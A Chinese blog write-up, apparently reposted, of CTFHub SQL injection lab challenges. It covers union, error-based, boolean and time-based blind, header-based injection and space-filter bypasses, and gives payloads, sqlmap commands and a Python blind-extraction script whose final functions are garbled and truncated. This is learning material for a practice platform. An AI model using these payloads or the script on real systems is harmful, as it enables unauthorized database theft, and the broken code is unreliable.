zoukankan      html  css  js  c++  java
  • CTFHub-技能树-SQL注入

    CTFHub-技能树-SQL注入

     

    终于到sql注入了,最先了解到的安全名词就是sql注入,但也因为sql注入,让我自闭了好久,这次干tm的淦!

     

    1.整数型注入

     

    先用orde by测了下回显位,一共有两个

     

    试了下,加引号没有报错回显,而且加注释也不显示,判断SQL语句没有被引号包围

    测试回显位

    (TIPS:测试回显位的时候要注意,选一个为空的id传入,不然回显位会被覆盖,没法测试)

     

    爆数据库名

     

    爆表名

     

    爆字段名

     

    拿到flag:

     

    爆数据库名/表名/字段名,还有一些其他常用的SQL语句一定要理解掌握

     爆数据库名:
     select 1,group_concat(schema_name) from information_schema.schemata
     select 1,database()
     
     爆表名:
     select 1,group_concat(table_name) from information_schema.tables where table_schema =
     
     爆字段名:
     select 1,group_concat(column_name) from information_schema.columns where table_name =
     
     爆flag:
     select 1,group_concat(flag) from flag

     

    中午本来打算继续做题的,BUT发现了lol卡牌游戏LOR,就去玩了一中午 = =,刚恰完饭,开肝!

     

    2.字符型注入

     

    因为和上一题一样的页面,推测回显位也一样,测试:

     

    爆数据库名

     

    爆表名

     

    爆字段名

     

    拿到flag

     

     

    3.报错型注入

    以前没有学过报错型注入,google了一下,看到and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)的时候人有点懵,然后做题过程也是很曲折 = = 加油加油

     

    这里的知识点参考了前辈的博客(tips:前辈讲的很清楚,比我写的要详细,好理解很多)

    这道题是floor()报错注入,(当然还有其他报错注入类型

    需要了解几个相关知识点:

    • floor()函数:向下取整,比如floor(1.5)=1

    • rand()函数:

      • 产生0到1之间的随机数

      • 用rand(0)*2是因为它产生的随机数序列一定,011011001(与 group by 一同作用产生报错)

    • group by是根据某个字段来对数据进行分组的函数,会生成一张新的虚表(临时表)

    • ( xxxx )a == ( xxx ) as a

    • count(*)计数函数

    • 具体过程:

      • and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)

      • 首先group by 访问x,即concat(database(), floor(rand(0)*2))x(后边的解释需要忽略掉database()),这里第一次触发里面的rand()函数,取值为0,然后group by会去表里查找有无(group_key字段)值为0的项,因为是空表,没有值为0的项,所以要做插入操作,而插入的时候,还会再调用一次x,并把新生成的x插入到表中,即插入了1,对应的count(*)字段为1

      • group by第二次访问x,值为1,查询发现该项存在,因此不用插入,直接count(*)加一

      • group by第三次访问x,同上

      • group by第四次访问x,值为0,查询发现没有值为0的项,因此要插入,插入的时候再次访问x,拿到的值是1,插入之后,表中有两个值相同的项,因此会触发dumplicated key error

     

    报错的利用方式: concat(需要的值, floor(rand(0)*2)),就是把需要的值和随机数一块存进去

     

    做题过程:

     

    爆数据库名:

     

    爆表名:

     

    爆字段名:

    (图截错了),语句是select concat(column_name) from information_schema.columns where table_name = 'flag' 如果报错可以加个limit 0,1试试 ,我记不太清了

     

    拿到flag:

     

    掌握新姿势的感觉真的很不错

     

     

    4.布尔型注入

     

    今天尽量把sql注入肝完,然后留点事件想一下wp是发在第三方博客、自己搭一个博客还是自己弄个公众号

     

    老实说,= = 我一中午就做了一道题,不过庆幸的是学了很多新东西,想起李慢慢的话:“因为慢所以快。”

     

    先讲一下布尔注入的核心思想:

    • 构造的查询语句返回的是布尔值(0/1)

    • 查询结果的布尔值能通过一些标志(比如 success/fail 或者 显示结果/不显示结果)体现出来

     

    这里给大家踩个坑,这道题里的布尔值反映的是查询过程,而非查询结果,即,sql执行不正确才会fail(意思就是查询过程正常,则返回success,查询过程出错,则返回fail,与查询结果是否为空无关)。

    这里特别感谢羽(一位前辈)的解惑和鼓励。

     

    经典布尔注入语句:

    • 判断数据库名长度: if(length(database())>1, 1, (select table_name from information_schema.tables))

      • if(a, b, c) ,a正确则执行b,否则执行c,对应一下,即长度符合推测则返回正确否则失败(原因如下)

      • if里的c,构造了一个错误的select语句(缺少了from information_......),所以会报错进而查询失败

      • 判断表名长度/字段名长度稍微改一下,length(database())>1换成(select length(table_name) from information_schema.tables where table_schema=database())>1

     

    • 判断数据库名: if(ascii(substr(database(), 1, 1))>1, 1, (select table_name from information_schema.tables))

      • 与判断长度的语句相比,改变了if里的a部分

      • ascii()是将字符转换为ascii码的函数

      • substr(string, position, length)是字符截取函数,第一个参数是被截取的字符串,第二个参数是截取开始的位置(从1开始),第三个是截取的长度

      • 查询表明字段名,把databse()换成(select xxx from xxxxx)就好

    这里我尝试过直接用substr()="x"来判断,但是会一直报错,挖个坑,把mysql修好之后就来找下原因。

     

    知道基本语句和原理之后就可以直接开x

     

    检测数据库名长度:

    这里试了下延时注入,sleep(2)的意思是等待2秒

     

    爆库名:(写了脚本,在后边贴着)

     

    检测表名长度:

     

    爆表名:

     

    检测字段名长度

     

    爆字段名:

     

    检测flag长度:

     

    爆flag:

    爆flag的时候,第一次错了,因为脚本的ascii范围设置小了(踩坑)

    第二次正确!

     

    今天看了一个教学视频,发现burp的intruder也可以用于猜解,当然sqlmap最好用,不过我还是建议先自己写脚本,能对注入原理和过程有更深的理解.

     

    python脚本:!!!!!!!(因为之前用的编辑器格式不正确,现在已经不能修改了,所以大家要代码的话,点一下边框右边的复制,粘到ide里看吧。

     """
     Title: SQLi_Bool
     Author: Recol
     Date: 2020-03-07
     """
     
     import requests
     
     baseurl = 'url?id=1 and '  # 这里的and和空格一定要保留
     string = 'qwertyuiopasdfghjklzxcvbnm1234567890@{}-.'  # 可能出现的字符
     headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                              'Chrome/81.0.4044.9 Safari/537.36'}
     flag = 'query_success'
     lll = 5  # 要爆破的表的数量(偷了个懒
     
     
     def get_database_length():
         sql = 'if(length(database())=%d, 1, (select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         database_length = 1
         while database_length:
             res = requests.get(url=sql_url % database_length, headers=headers)
             if flag in res.text:
                 break
             database_length += 1
     
         print(database_length)
         return database_length
     
     
     def get_database_name(database_length):
         sql = 'if(substr(database(),%d,1)="%s", 1, (select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         database_name = ''
         for i in range(1, database_length + 1):
             for x in string:
                 res = requests.get(url=sql_url % (i, x), headers=headers)
                 if flag in res.text:
                     print(x)
                     database_name += x
     
         print(database_name)
         return database_name
     
     
     def get_table_length(database_name="database()"):
         sql = 'if((select length(table_name) from information_schema.tables where table_schema=%s limit 1,1)=%d,1,(select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         table_length = 1
         for i in range(0, lll):
             while table_length:
                 print(table_length)
                 res = requests.get(url=sql_url % (database_name, table_length), headers=headers)
                 if flag in res.text:
                     break
                 table_length += 1
                 if table_length > 100:
                     table_length = -1
                     break
     
         print(table_length)
         return table_length
     
     
     def get_table_name(table_length, databse_name="database()"):
         sql = 'if(ascii(substr((select table_name from information_schema.tables where table_schema=%s limit %d,1),%d,1))>%d, 1, (select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         tables = []
         table_name = ''
         for i in range(lll):
             for no in range(1, table_length + 1):
                 for x in range(30, 200):
                     res = requests.get(url=sql_url % (databse_name, i, no, x), headers=headers)
                     if flag in res.text:
                         print(x)
                         continue
                     else:
                         table_name += chr(x)
                         print(table_name)
                         break
             print(table_name)
             tables.append(table_name)
             table_name = ''
     
         print(tables)
         return tables
     
     
     def get_column_length(table_name="flag"):
         sql = 'if((select length(column_name) from information_schema.columns where table_name=%s limit 0,1)=%d,1,'
               '(select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         column_length = 1
         for i in range(0, lll):
             while column_length:
                 print(column_length)
                 res = requests.get(url=sql_url % (table_name, column_length), headers=headers)
                 if flag in res.text:
                     print('aaaaa')
                     break
                 column_length += 1
                 if column_length > 100:
                     table_length = -1
                     break
     
         print(column_length)
         return column_length
     
     
     def get_column_name(column_length=4, table_name="flag"):
         sql = 'if(ascii(substr((select column_name from information_schema.columns where table_name="%s" limit 0,1),%d,1))>%d, 1, (select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         column_name = ''
         for no in range(1, column_length + 1):
             for x in range(70, 200):
                 res = requests.get(url=sql_url % (table_name, no, x), headers=headers)
                 if flag in res.text:
                     # print(x)
                     continue
                 else:
                     column_name += chr(x)
                     break
             print(column_name)
     
         return column_name
     
     
     def get_flag_length(table_name="flag"):
         sql = 'if((select length(flag) from %s limit 0,1)=%d,1,(select table_name from information_schema.tables))'
         sql_url = baseurl + sql
         flag_length = 1
         for i in range(0, lll):
             while flag_length:
                 print(flag_length) 
               res = requests.get(url=sql_url % (table_name, flag_length), headers=headers) 
               if flag in res.text: 
                   print(flag_length) 
                   return flag_length 
               flag_length +=
               if flag_length > 200: 
                   table_length = -
                   break 
    ​ 
    ​ 
    def get_flag_name(flag_length=48, table_name="flag"): 
       sql = 'if(ascii(substr((select flag from %s limit 0,1),%d,1))>%d, 1, (select table_name from information_schema.tables))' 
       sql_url = baseurl + sql 
       flag_name = '' 
       for no in range(1, flag_length + 1): 
           for x in range(30, 200): 
               res = requests.get(url=sql_url % (table_name, no, x), headers=headers) 
               if flag in res.text: 
                   continue 
               else: 
                   flag_name += chr(x) 
                   break 
           print(flag_name) 
    ​ 
       return flag_name 

     

     

    5.延时盲注

     

    盲注的意思是,sql语句查询的结果不会回显,所以需要借助sleep()函数

    经典语句: ( 与前边布尔型有一点点差别,即判断正确则sleep(2) )

    and if(length(database())=1, sleep(2), 1)

    延时盲注的脚本可以使用简单修改过的布尔盲注的脚本,用时间差检测替换flag(query_success)即可,此外还可以进行优化,把猜解的ascii码范围控制在正确字符范围内,减少猜解次数和时间

     

    我这道题没有去改脚本==,直接用的sqlmap, sqlmap的用法总结也找到了( 空了放一下

     

    做题:

     

    先用经典语句看一下是否生效:

    延时两秒,注入成功

    然后直接上sqlmap

    爆库名

    爆表名

    爆字段名, 这里我手动终止了

    爆flag

     

    这里放个sqlmap基础指令:

     爆数据库
     sqlmap -u [url] -p [param] --curent-db
     爆表名
     sqlmap -u [url] -p [param] -D databse --tables
     爆字段名
     sqlmap -u [url] -p [param] -D database -T table --columns
     爆数据项
     sqlmap -u [url] -p [param] -D databse -T table -C column --dump
     
     其他参数:
     -technique T 基于时间的盲注
     --time-sec x 设置盲注的时间,单位秒
     

     

    6.MySQL结构

     

    我看到这道题,毫无思绪 = =,真的不知道是要考什么,就是字符型注入,然后直接丢给sqlmap

     

    就不一一贴图了,放个结果

     

    7.Cookie 注入

     

    前边做了两道盲注,也看了很多相关的知识点,所以再看到这种给了注入点的题就觉得很容易了

     

    直接告诉Cookie里的id是注入点

     

    burp抓包验证

    爆库名

    爆表名

    爆字段名

    拿flag

     

    8.UA注入

     

    直接明示UA是注入点,就不再截图了,做法和前边的做法一样,只是把注入点换到了请求头的UA字段

     

    9.Refer注入

     

    这道题也是明示,也就不贴图了,但是要自己在请求头里添加Referer字段

     

     

     

     

    终于肝完了,但是感觉应该是刚入门,还有很多细分类别没有学,包括一些常见bypass姿势,希望剩下的题目能早点出来,然后就可以继续做了。

     

     

     

     

    10.过滤空格

     

    试了一下,下边这些字符都可以bypass

    • /**/

    • %09

    • %0A

    • %0B

    • %0C

    • %0D

     

    除了用这些字符来代替空格之外,步骤与其他题目一样

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    浏览器缓存
    HTML学习笔记(九) Web Socket
    [转]maven2中snapshot快照库和release发布库的区别和作用
    [转]maven2中snapshot快照库和release发布库的应用
    CentOS 7 mini 试用笔记
    Windows找出占用端口的进程
    ORA-24408: could not generate unique server group name
    Oracle中NVL、NVL2、NULLIF 三个函数的区别?
    【代码大全-读书笔记】第1章 欢迎进入软件构建的世界
    【代码大全-读书笔记】前言
  • 原文地址:https://www.cnblogs.com/R3col/p/12452890.html
Copyright © 2011-2022 走看看